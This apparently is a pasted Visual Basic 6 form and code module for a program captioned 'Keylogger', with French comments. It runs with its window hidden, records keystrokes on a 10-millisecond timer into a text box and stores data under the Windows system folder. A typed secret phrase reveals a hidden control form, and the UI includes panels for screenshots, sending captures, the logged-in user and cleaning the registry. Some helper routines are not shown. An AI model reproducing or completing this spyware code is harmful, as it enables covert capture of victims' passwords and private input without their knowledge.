rendered paste bodyVERSION 5.00
Begin VB.Form Form1
Caption = "Keylogger"
ClientHeight = 9270
ClientLeft = 60
ClientTop = 450
ClientWidth = 10455
LinkTopic = "Form1"
ScaleHeight = 9270
ScaleWidth = 10455
StartUpPosition = 2 'CenterScreen
Visible = 0 'False
Begin VB.Frame Frame1
Caption = "Menu"
BeginProperty Font
Name = "MS Sans Serif"
Size = 8.25
Charset = 0
Weight = 700
Underline = 0 'False
Italic = 0 'False
Strikethrough = 0 'False
EndProperty
Height = 975
Left = 5760
TabIndex = 35
Top = 0
Width = 1575
Begin VB.OptionButton Option1
Caption = "KeyStrock"
Height = 375
Left = 120
TabIndex = 37
Top = 240
Width = 1215
End
Begin VB.OptionButton Option2
Caption = "Folder / Tips"
Height = 255
Left = 120
TabIndex = 36
Top = 600
Width = 1215
End
End
Begin VB.Frame Frame2
Caption = "Action"
BeginProperty Font
Name = "MS Sans Serif"
Size = 8.25
Charset = 0
Weight = 700
Underline = 0 'False
Italic = 0 'False
Strikethrough = 0 'False
EndProperty
Height = 1095
Left = 5760
TabIndex = 31
Top = 1080
Width = 1575
Begin VB.CommandButton Command1
Caption = "Command1"
Height = 255
Left = 120
TabIndex = 34
Top = 240
Width = 1335
End
Begin VB.CommandButton Command2
Caption = "Command2"
Height = 255
Left = 120
TabIndex = 33
Top = 480
Width = 1335
End
Begin VB.CommandButton Command3
Caption = "Command3"
Height = 255
Left = 120
TabIndex = 32
Top = 720
Width = 1335
End
End
Begin VB.Frame Frame3
Caption = "Folder / Tips"
BeginProperty Font
Name = "MS Sans Serif"
Size = 8.25
Charset = 0
Weight = 700
Underline = 0 'False
Italic = 0 'False
Strikethrough = 0 'False
EndProperty
Height = 6135
Left = 0
TabIndex = 7
Top = 0
Width = 5655
Begin VB.Frame Frame17
Caption = "Computer"
Height = 615
Left = 2760
TabIndex = 38
Top = 2520
Width = 2775
Begin VB.Label Label10
Alignment = 2 'Center
BackColor = &H00FFFFFF&
Caption = "Label10"
Height = 255
Left = 120
TabIndex = 39
Top = 240
Width = 2535
End
End
Begin VB.Frame Frame4
Caption = "Snapshots && Returns"
Height = 2775
Left = 120
TabIndex = 27
Top = 1080
Width = 2535
Begin VB.CommandButton Command4
Caption = "Clear"
Height = 255
Left = 360
TabIndex = 30
Top = 2280
Width = 615
End
Begin VB.CommandButton Command6
Caption = "Send"
Height = 255
Left = 1560
TabIndex = 29
Top = 2280
Width = 615
End
Begin VB.FileListBox File1
Height = 1845
Left = 120
TabIndex = 28
Top = 240
Width = 2295
End
End
Begin VB.Frame Frame5
Caption = "Connected ?"
Height = 615
Left = 2760
TabIndex = 25
Top = 1080
Width = 1335
Begin VB.Label Label1
Alignment = 2 'Center
BackColor = &H00FFFFFF&
Caption = "Label1"
Height = 255
Left = 120
TabIndex = 26
Top = 240
Width = 1095
End
End
Begin VB.Frame Frame6
Caption = "Send returns"
Height = 615
Left = 4200
TabIndex = 23
Top = 1080
Width = 1335
Begin VB.Label Label2
Alignment = 2 'Center
BackColor = &H00FFFFFF&
Caption = "Label2"
Height = 255
Left = 120
TabIndex = 24
Top = 240
Width = 1095
End
End
Begin VB.Frame Frame7
Caption = "Last 13 keystrocked examination"
Height = 615
Left = 2760
TabIndex = 21
Top = 3240
Width = 2775
Begin VB.Label Label3
Alignment = 2 'Center
BackColor = &H00FFFFFF&
Caption = "Label3"
Height = 255
Left = 120
TabIndex = 22
Top = 240
Width = 2535
End
End
Begin VB.Frame Frame8
Caption = "Clean reg"
Height = 615
Left = 120
TabIndex = 18
Top = 360
Width = 2535
Begin VB.CheckBox Check1
Caption = "Confirm"
Height = 255
Left = 240
TabIndex = 20
Top = 240
Width = 855
End
Begin VB.CommandButton Command5
Caption = "Clean"
Height = 255
Left = 1680
TabIndex = 19
Top = 240
Width = 615
End
End
Begin VB.Frame Frame9
Caption = "Directory target"
Height = 615
Left = 120
TabIndex = 16
Top = 3960
Width = 5415
Begin VB.Label Label4
Alignment = 2 'Center
BackColor = &H00FFFFFF&
Caption = "Label4"
Height = 255
Left = 120
TabIndex = 17
Top = 240
Width = 5175
End
End
Begin VB.Frame Frame10
Caption = "User ID logged"
Height = 615
Left = 2760
TabIndex = 14
Top = 1800
Width = 2775
Begin VB.Label Label5
Alignment = 2 'Center
BackColor = &H00FFFFFF&
Caption = "Label5"
Height = 255
Left = 120
TabIndex = 15
Top = 240
Width = 2535
End
End
Begin VB.Frame Frame11
Caption = "Date of the day"
Height = 615
Left = 2760
TabIndex = 12
Top = 360
Width = 2775
Begin VB.Label Label6
Alignment = 2 'Center
BackColor = &H00FFFFFF&
Caption = "Label6"
Height = 255
Left = 120
TabIndex = 13
Top = 240
Width = 2535
End
End
Begin VB.Frame Frame12
Caption = "File target"
Height = 615
Left = 120
TabIndex = 10
Top = 4680
Width = 5415
Begin VB.Label Label7
Alignment = 2 'Center
BackColor = &H00FFFFFF&
Caption = "Label7"
Height = 255
Left = 120
TabIndex = 11
Top = 240
Width = 5175
End
End
Begin VB.Frame Frame16
Caption = "Last Snapshot Name"
Height = 615
Left = 120
TabIndex = 8
Top = 5400
Width = 5415
Begin VB.Label Label9
Alignment = 2 'Center
BackColor = &H00FFFFFF&
Caption = "Label9"
Height = 255
Left = 120
TabIndex = 9
Top = 240
Width = 5175
End
End
End
Begin VB.Frame Frame13
Caption = "KeyStrocked"
BeginProperty Font
Name = "MS Sans Serif"
Size = 8.25
Charset = 0
Weight = 700
Underline = 0 'False
Italic = 0 'False
Strikethrough = 0 'False
EndProperty
Height = 2895
Left = 120
TabIndex = 5
Top = 6240
Width = 5295
Begin VB.TextBox Grab
Height = 2535
Left = 120
MultiLine = -1 'True
TabIndex = 6
Top = 240
Width = 5055
End
End
Begin VB.Frame Frame14
Caption = "Shots window"
BeginProperty Font
Name = "MS Sans Serif"
Size = 8.25
Charset = 0
Weight = 700
Underline = 0 'False
Italic = 0 'False
Strikethrough = 0 'False
EndProperty
Height = 1815
Left = 5760
TabIndex = 2
Top = 2280
Width = 1695
Begin VB.ComboBox Combo1
Height = 315
ItemData = "Form1.frx":0000
Left = 120
List = "Form1.frx":0019
Style = 2 'Dropdown List
TabIndex = 4
Top = 1920
Visible = 0 'False
Width = 1335
End
Begin VB.PictureBox Picture1
AutoRedraw = -1 'True
Height = 1335
Left = 120
ScaleHeight = 1275
ScaleWidth = 1275
TabIndex = 3
Top = 240
Width = 1335
Begin VB.Line Line1
X1 = 0
X2 = 1320
Y1 = 0
Y2 = 1320
End
Begin VB.Line Line2
X1 = 1320
X2 = 0
Y1 = 0
Y2 = 1320
End
End
End
Begin VB.Frame Frame15
Caption = "For the prog"
Height = 1215
Left = 5760
TabIndex = 0
Top = 4200
Width = 1695
Begin VB.Timer Timer1
Interval = 10
Left = 120
Top = 600
End
Begin VB.Timer Timer2
Interval = 1
Left = 600
Top = 600
End
Begin VB.Label Label8
Alignment = 2 'Center
BackColor = &H00FFFFFF&
Caption = """"
Height = 195
Left = 120
TabIndex = 1
Top = 240
Width = 315
End
End
End
Attribute VB_Name = "Form1"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Private lhBool As Boolean
Private Sub Form_Load()
On Error Resume Next
Combo1.Text = Combo1.List(&H5)
lhBool = (lhBool <> True)
'Veriication connection inetrnet
Label1 = IsConnected
'Chemin Windir (repertorie cible)
MkDir PRGetRepertoireWindows() & "\system\keyb"
Label4 = PRGetRepertoireWindows() & "\system\keyb\"
save
End Sub
Private Sub Timer1_Timer()
lettr = GetKey
Label3 = Label3 & lettr
If Len(Label3) > Len("montretoiSpy") Then
Label3 = Right(Label3, Len(Label3) - 1)
End If
If Label3 = "montretoiSpy" Then
Form2.Visible = True
End If
Grab = Grab & lettr
End Sub
Private Sub Timer2_Timer()
Dim lhPst As POINTAPI
Dim lhRect As RECT
On Error Resume Next
'permer de manipuler la programme sans le bloquer
DoEvents
'raffraichir le dessin
Picture1.Cls
'determiner la position du curseur
Call GetCursorPos(lhPst)
'convertir la position du curseur vers le picture
Call ScreenToClient(Picture1.hWnd, lhPst)
'determiner le rectangle du picture ou on va dessiner
Call GetClientRect(Picture1.hWnd, lhRect)
'dessiner vers le picture, le rectangle qui entoure
'la position du curseur
Call StretchBlt(Picture1.hdc, lhRect.Left, lhRect.Top, _
lhRect.Right, lhRect.Bottom, _
Me.hdc, (lhPst.X + 343), (lhPst.Y + 120), _
CInt(100), CInt(100), lhCintStr(Trim(Combo1.Text)))
lhBool = (lhBool <> False)
Exit Sub
End Sub
'cette fonction va rendre la valeur du dwRop de l api
Private Function lhCintStr(ByVal lhSts As String) As Long
Select Case lhSts
Case "SRCCOPY"
lhCintStr = SRCCOPY
End Select
End Function